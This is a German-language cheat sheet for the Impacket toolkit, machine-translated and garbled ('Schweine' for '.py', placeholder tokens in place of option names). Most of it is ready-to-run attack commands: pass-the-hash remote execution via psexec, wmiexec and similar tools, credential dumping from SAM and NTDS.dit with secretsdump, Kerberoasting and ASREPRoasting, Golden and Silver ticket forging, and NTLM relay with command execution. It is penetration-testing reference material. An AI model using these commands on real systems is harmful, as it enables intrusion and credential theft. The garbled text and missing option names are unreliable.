_# Impacket Toolkit Cheat Sheet

_

Im Überblick

Impacket ist eine Sammlung von Python-Klassen für die Zusammenarbeit mit Netzwerkprotokollen. Es bietet einen programmarmen Zugriff auf Pakete und implementiert mehrere Protokolle wie SMB, MSRPC und Kerberos. Impacket enthält zahlreiche gebrauchsfertige Werkzeuge für Penetrationstests, insbesondere auf Windows-Umgebungen.

ZEITSCHRIFTEN Warning: Impacket ist ein Sicherheitstest-Tool, das nur in Umgebungen verwendet werden sollte, in denen Sie eine ausdrückliche Erlaubnis dazu haben.

• Installation

From PyPI¶

bash pip install impacket_

From GitHub¶

bash git clone https://github.com/fortra/impacket.git cd impacket pip install -r requirements.txt python setup.py install_

Auf Kali Linux bash sudo apt update sudo apt install -y python3-impacket_

Verwendung virtueller Umgebung¶

```bash

Create and activate virtual environment¶

python -m venv impacket-env source impacket-env/bin/activate # Linux/macOS impacket-env\Scripts\activate.bat # Windows

Install Impacket¶

pip install impacket ```_

Befehlsausführungswerkzeuge

psexec.py¶

Erledigt Befehle auf Remote-Windows-Systemen mit dem SMB-Protokoll, ähnlich wie SysInternals' PsExec.

oder Basisnutzung bash psexec.py [domain/]username[:password]@target [options] [command]_

oder Gemeinsame Optionen |Option|Description| |--------|-------------| |INLINE_CODE_32|Use NTLM hashes instead of password (Pass-the-Hash)| |INLINE_CODE_33|Use Kerberos authentication| |INLINE_CODE_34|Don't ask for password (useful for Kerberos)| |INLINE_CODE_35|Connect to SMB Server port (default: 445)| |INLINE_CODE_36|Turn DEBUG output ON|

Beispiele ```bash

Execute command with explicit credentials¶

psexec.py administrator:Password123@192.168.1.100 cmd.exe

Execute command with domain credentials¶

psexec.py domain/administrator:Password123@192.168.1.100 cmd.exe

Execute specific command¶

psexec.py administrator:Password123@192.168.1.100 "ipconfig /all"

Use hash instead of password (Pass-the-Hash)¶

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 cmd.exe ```_

smbexec. Schweine¶

Ähnlich wie psexec.py aber verwendet verschiedene Techniken, um Befehle auszuführen, so dass es potenziell Stealthier.

oder Basisnutzung bash smbexec.py [domain/]username[:password]@target [options]_

oder Gemeinsame Optionen |Option|Description| |--------|-------------| |INLINE_CODE_37|Use NTLM hashes instead of password (Pass-the-Hash)| |INLINE_CODE_38|Share where the output will be grabbed from (default: ADMIN$)| |INLINE_CODE_39|Shell type to use (default: cmd)| |INLINE_CODE_40|Sets encoding used (codec) from the target's output (default: UTF-8)| |INLINE_CODE_41|Service name to use (default: random)|

Beispiele ```bash

Execute with explicit credentials¶

smbexec.py administrator:Password123@192.168.1.100

Execute with domain credentials¶

smbexec.py domain/administrator:Password123@192.168.1.100

Use hash instead of password (Pass-the-Hash)¶

smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100

Use PowerShell instead of cmd¶

smbexec.py -shell-type powershell administrator:Password123@192.168.1.100 ```_

wmiexec. Schweine¶

Befehle auf Remote-Windows-Systemen mit WMI ausführen.

oder Basisnutzung bash wmiexec.py [domain/]username[:password]@target [options] [command]_

oder Gemeinsame Optionen_ |Option|Description| |--------|-------------| |INLINE_CODE_42|Use NTLM hashes instead of password (Pass-the-Hash)| |INLINE_CODE_43|Share where the output will be grabbed from (default: ADMIN$)| |INLINE_CODE_44|Execute command and return immediately without output| |INLINE_CODE_45|Sets encoding used (codec) from the target's output (default: UTF-8)| |INLINE_CODE_46|Shell type to use (default: cmd)|

Beispiele ```bash

Execute with explicit credentials¶

wmiexec.py administrator:Password123@192.168.1.100

Execute with domain credentials¶

wmiexec.py domain/administrator:Password123@192.168.1.100

Execute specific command¶

wmiexec.py administrator:Password123@192.168.1.100 "ipconfig /all"

Use hash instead of password (Pass-the-Hash)¶

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 ```_

dcomexec. Schweine¶

Ausführen von Befehlen auf Remote-Windows-Systemen mit DCOM-Objekten.

oder Basisnutzung bash dcomexec.py [domain/]username[:password]@target [options] [command]_

oder Gemeinsame Optionen |Option|Description| |--------|-------------| |INLINE_CODE_47|Use NTLM hashes instead of password (Pass-the-Hash)| |INLINE_CODE_48|DCOM object to use (default: MMC20.Application)| |INLINE_CODE_49|Execute command and return immediately without output| |INLINE_CODE_50|Sets encoding used (codec) from the target's output (default: UTF-8)| |INLINE_CODE_51|Shell type to use (default: cmd)|

Beispiele ```bash

Execute with explicit credentials¶

dcomexec.py administrator:Password123@192.168.1.100

Execute with domain credentials¶

dcomexec.py domain/administrator:Password123@192.168.1.100

Execute with specific DCOM object¶

dcomexec.py -object ShellWindows administrator:Password123@192.168.1.100

Use hash instead of password (Pass-the-Hash)¶

dcomexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 ```_

atexec.py¶

Ausführen von Befehlen auf Remote-Windows-Systemen mithilfe des Task Scheduler-Dienstes.

oder Basisnutzung bash atexec.py [domain/]username[:password]@target [options] command_

oder Gemeinsame Optionen |Option|Description| |--------|-------------| |INLINE_CODE_52|Use NTLM hashes instead of password (Pass-the-Hash)| |INLINE_CODE_53|Execute command and return immediately without output| |INLINE_CODE_54|Sets encoding used (codec) from the target's output (default: UTF-8)|

Beispiele ```bash

Execute command with explicit credentials¶

atexec.py administrator:Password123@192.168.1.100 "whoami > C:\temp\whoami.txt"

Execute command with domain credentials¶

atexec.py domain/administrator:Password123@192.168.1.100 "whoami > C:\temp\whoami.txt"

Use hash instead of password (Pass-the-Hash)¶

atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 "whoami > C:\temp\whoami.txt" ```_

Individuelle Dumpingwerkzeuge

secretsdump. Schweine¶

extrahiert Anmeldeinformationen von einem entfernten Windows-System, einschließlich SAM, LSA Secrets, und NTDS.dit.

oder Basisnutzung bash secretsdump.py [domain/]username[:password]@target [options]_

oder Gemeinsame Optionen_ |Option|Description| |--------|-------------| |INLINE_CODE_55|Use NTLM hashes instead of password (Pass-the-Hash)| |INLINE_CODE_56|Extract only NTDS.DIT data (domain controller only)| |INLINE_CODE_57|Extract only NTDS.DIT NTLM hashes (domain controller only)| |INLINE_CODE_58|Extract only NTDS.DIT data for specific user| |INLINE_CODE_59|Shows pwdLastSet attribute for each NTDS.DIT account| |INLINE_CODE_60|Shows whether the user is enabled or disabled| |INLINE_CODE_61|Dump password history| |INLINE_CODE_62|Write output to file| _ Beispiele ```bash

Dump credentials with explicit credentials¶

secretsdump.py administrator:Password123@192.168.1.100

Dump credentials with domain credentials¶

secretsdump.py domain/administrator:Password123@192.168.1.100

Dump credentials using hash (Pass-the-Hash)¶

secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100

Dump credentials from local files¶

secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

Dump credentials from NTDS.dit¶

secretsdump.py -ntds ntds.dit -system system.save LOCAL

Extract only domain controller NTLM hashes¶

secretsdump.py -just-dc-ntlm domain/administrator:Password123@192.168.1.100 ```_

Kerberos Angriffswerkzeuge

GetNPUsers.py¶

Retrieves Passwort hashes für Benutzer mit "Benötigen Sie keine Kerberos preauthentication" Set (ASREPRoast Angriff).

oder Basisnutzung bash GetNPUsers.py [domain/]username[:password] -dc-ip <DC_IP> [options]_

oder Gemeinsame Optionen_ |Option|Description| |--------|-------------| |INLINE_CODE_63|Requests TGT for users and output them in JtR/hashcat format| |INLINE_CODE_64|Don't ask for password (useful for Kerberos)| |INLINE_CODE_65|Use Kerberos authentication| |INLINE_CODE_66|IP Address of the domain controller| |INLINE_CODE_67|File with user per line to test| |INLINE_CODE_68|Format to save the AS_REP responses (default: hashcat)| |INLINE_CODE_69|Output filename to write ciphers in JtR/hashcat format| _ Beispiele ```bash

Get users without Kerberos preauthentication with explicit credentials¶

GetNPUsers.py domain/username:password -dc-ip 192.168.1.100 -request

Get users without Kerberos preauthentication for specific user¶

GetNPUsers.py domain/username:password -dc-ip 192.168.1.100 -request -target-user user1

Get users without Kerberos preauthentication for all users in domain¶

GetNPUsers.py domain/ -dc-ip 192.168.1.100 -usersfile users.txt -format hashcat

Use no credentials (anonymous)¶

GetNPUsers.py domain/ -dc-ip 192.168.1.100 -no-pass ```_

GetUserSPN.py¶

Retrieves Service Principal Names (SPNs) für Konten in der Domain (Kerberoasting-Angriff).

oder Basisnutzung bash GetUserSPNs.py [domain/]username[:password] -dc-ip <DC_IP> [options]_

oder Gemeinsame Optionen |Option|Description| |--------|-------------| |INLINE_CODE_70|Requests TGS for users and output them in JtR/hashcat format| |INLINE_CODE_71|Use NTLM hashes instead of password (Pass-the-Hash)| |INLINE_CODE_72|IP Address of the domain controller| |INLINE_CODE_73|Target specific user to request TGS for| |INLINE_CODE_74|Output filename to write ciphers in JtR/hashcat format| |INLINE_CODE_75|Format to save the TGS tickets (default: hashcat)|

Beispiele ```bash

Get SPNs with explicit credentials¶

GetUserSPNs.py domain/username:password -dc-ip 192.168.1.100 -request

Get SPNs for specific user¶

GetUserSPNs.py domain/username:password -dc-ip 192.168.1.100 -request -target-user sqlservice

Output hashes in specific format¶

GetUserSPNs.py domain/username:password -dc-ip 192.168.1.100 -request -format hashcat

Use hash instead of password (Pass-the-Hash)¶

GetUserSPNs.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 domain/username -dc-ip 192.168.1.100 -request ```_

Ticketer. Schweine Erstellt Golden und Silver Tickets für Kerberos Authentifizierung.

oder Basisnutzung bash ticketer.py [options] username_

oder Gemeinsame Optionen |Option|Description| |--------|-------------| |INLINE_CODE_76|NT hash for the user or service account| |INLINE_CODE_77|AES key for the user or service account| |INLINE_CODE_78|Domain name| |INLINE_CODE_79|Domain SID| |INLINE_CODE_80|Service Principal Name (for Silver Tickets)| |INLINE_CODE_81|Comma-separated list of group IDs to include in the ticket| |INLINE_CODE_82|Ticket duration in hours (default: 10)| |INLINE_CODE_83|Output filename to save the ticket|

Beispiele ```bash

Create Golden Ticket¶

ticketer.py -nthash 7facdc498ed1680c4fd1448319a8c04f -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain contoso.local administrator

Create Silver Ticket¶

ticketer.py -nthash 7facdc498ed1680c4fd1448319a8c04f -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain contoso.local -spn MSSQLSvc/sqlserver.contoso.local:1433 administrator

Specify output file¶

ticketer.py -nthash 7facdc498ed1680c4fd1448319a8c04f -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain contoso.local -out ticket.kirbi administrator ```_

Tools für Netzwerkprotokolle

smbclient. Schweine¶

Bietet einem SMB-Client Zugriff auf Aktien und Dateien auf Remote-Systeme.

oder Basisnutzung bash smbclient.py [domain/]username[:password]@target [options]_

oder Gemeinsame Optionen_ |Option|Description| |--------|-------------| |INLINE_CODE_84|Use NTLM hashes instead of password (Pass-the-Hash)| |INLINE_CODE_85|Connect to SMB Server port (default: 445)| |INLINE_CODE_86|Input file with commands to execute in the mini shell| |INLINE_CODE_87|Turn DEBUG output ON| _ Gemeinsame Befehle (Interactive Shell) |Command|Description| |---------|-------------| |INLINE_CODE_88|Show available commands| |INLINE_CODE_89|List available shares| |INLINE_CODE_90|Connect to a specific share| |INLINE_CODE_91|List files in current directory| |INLINE_CODE_92|Change directory| |INLINE_CODE_93|Download file| |INLINE_CODE_94|Upload file| |INLINE_CODE_95|Delete file| |INLINE_CODE_96|Create directory| |INLINE_CODE_97|Remove directory| |INLINE_CODE_98|Exit the shell|

Beispiele ```bash

Connect with explicit credentials¶

smbclient.py administrator:Password123@192.168.1.100

Connect with domain credentials¶

smbclient.py domain/administrator:Password123@192.168.1.100

Use hash instead of password (Pass-the-Hash)¶

smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 ```_

msqlclient. Schweine¶

Bietet einen Client, um mit Microsoft SQL Server Instanzen zu interagieren.

oder Basisnutzung bash mssqlclient.py [domain/]username[:password]@target [options]_

oder Gemeinsame Optionen_ |Option|Description| |--------|-------------| |INLINE_CODE_99|Use NTLM hashes instead of password (Pass-the-Hash)| |INLINE_CODE_100|Use Windows Authentication (default: False)| |INLINE_CODE_101|Destination port to connect to (default: 1433)| |INLINE_CODE_102|MSSQL database instance (default: None)| |INLINE_CODE_103|Input file with commands to execute in the SQL shell| |INLINE_CODE_104|Turn DEBUG output ON| _ Gemeinsame Befehle (Interactive Shell) |Command|Description| |---------|-------------| |INLINE_CODE_105|Show available commands| |INLINE_CODE_106|Enable the xp_cmdshell stored procedure| |INLINE_CODE_107|Disable the xp_cmdshell stored procedure| |INLINE_CODE_108|Execute command through xp_cmdshell| |INLINE_CODE_109|Start a SQL Server job| |INLINE_CODE_110|Exit the shell|

Beispiele ```bash

Connect with explicit credentials¶

mssqlclient.py sa:Password123@192.168.1.100

Connect with domain credentials¶

mssqlclient.py domain/sqluser:Password123@192.168.1.100

Use hash instead of password (Pass-the-Hash)¶

mssqlclient.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 sa@192.168.1.100

Enable Windows authentication¶

mssqlclient.py domain/sqluser:Password123@192.168.1.100 -windows-auth ```_

Andere nützliche Werkzeuge

ntlmrelayx. Schweine¶

Führt NTLM Relay-Angriffe.

oder Basisnutzung bash ntlmrelayx.py [options]_

oder Gemeinsame Optionen_ |Option|Description| |--------|-------------| |INLINE_CODE_111|Target to relay the credentials to| |INLINE_CODE_112|File with targets to relay the credentials to| |INLINE_CODE_113|Start the HTTP server and do not relay credentials| |INLINE_CODE_114|Execute this file when a connection is relayed| |INLINE_CODE_115|Execute this command when a connection is relayed| |INLINE_CODE_116|Enable SMB2 support| |INLINE_CODE_117|Launch a SOCKS proxy for the connection| |INLINE_CODE_118|Relay only one connection| |INLINE_CODE_119|Turn DEBUG output ON| _ Beispiele ```bash

Relay to specific target¶

ntlmrelayx.py -t smb://192.168.1.100 -smb2support

Relay to multiple targets¶

ntlmrelayx.py -tf targets.txt -smb2support

Execute command on successful relay¶

ntlmrelayx.py -t smb://192.168.1.100 -smb2support -c "whoami > C:\temp\whoami.txt"

Dump SAM database on successful relay¶

ntlmrelayx.py -t smb://192.168.1.100 -smb2support -d

Start SOCKS proxy¶

ntlmrelayx.py -tf targets.txt -socks ```_

lookupsid. Schweine¶

Führt SID-Lookups aus, um Benutzer und Gruppen aufzuzählen.

oder Basisnutzung bash lookupsid.py [domain/]username[:password]@target [options]_

oder Gemeinsame Optionen_ |Option|Description| |--------|-------------| |INLINE_CODE_120|Use NTLM hashes instead of password (Pass-the-Hash)| |INLINE_CODE_121|Domain to enumerate (default: target domain)| |INLINE_CODE_122|Turn DEBUG output ON| _ Beispiele ```bash

Enumerate SIDs with explicit credentials¶

lookupsid.py administrator:Password123@192.168.1.100

Enumerate SIDs with domain credentials¶

lookupsid.py domain/administrator:Password123@192.168.1.100

Use hash instead of password (Pass-the-Hash)¶

lookupsid.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 ```_

reg.py¶

Bietet ein Remote-Registry-Handling-Tool.

oder Basisnutzung bash reg.py [domain/]username[:password]@target [options] action [params]_

oder Gemeinsame Optionen_ |Option|Description| |--------|-------------| |INLINE_CODE_123|Use NTLM hashes instead of password (Pass-the-Hash)| |INLINE_CODE_124|Turn DEBUG output ON| _ Aktionen |Action|Description| |--------|-------------| |INLINE_CODE_125|Query a registry key or value| |INLINE_CODE_126|Add a registry key or value| |INLINE_CODE_127|Delete a registry key or value| |INLINE_CODE_128|Save a registry hive to a file|

Beispiele ```bash

Query registry key with explicit credentials¶

reg.py administrator:Password123@192.168.1.100 query -keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion

Add registry key with domain credentials¶

reg.py domain/administrator:Password123@192.168.1.100 add -keyName HKLM\SOFTWARE\Test -v TestValue -vt REG_SZ -vd "Test Data"

Delete registry key with hash (Pass-the-Hash)¶

reg.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 delete -keyName HKLM\SOFTWARE\Test ```_

Häufige Parameter Across Tools

Parameter	Description
INLINE_CODE_129	Show help message and exit
INLINE_CODE_130	Turn DEBUG output ON
INLINE_CODE_131	NTLM hashes, format is LMHASH:NTHASH
INLINE_CODE_132	Don't ask for password (useful for Kerberos)
INLINE_CODE_133	Use Kerberos authentication
INLINE_CODE_134	AES key to use for Kerberos authentication
INLINE_CODE_135	IP Address of the domain controller
INLINE_CODE_136	IP Address of the target machine
INLINE_CODE_137	Destination port to connect to
_
Ressourcen
- (Official GitHub Repository)(https://github.com/fortra/impacket)_
- Impacket Dokumentation
- Impacket Beispiele
- [Impacket Wiki](URL_147_
- Impacket API Dokumentation_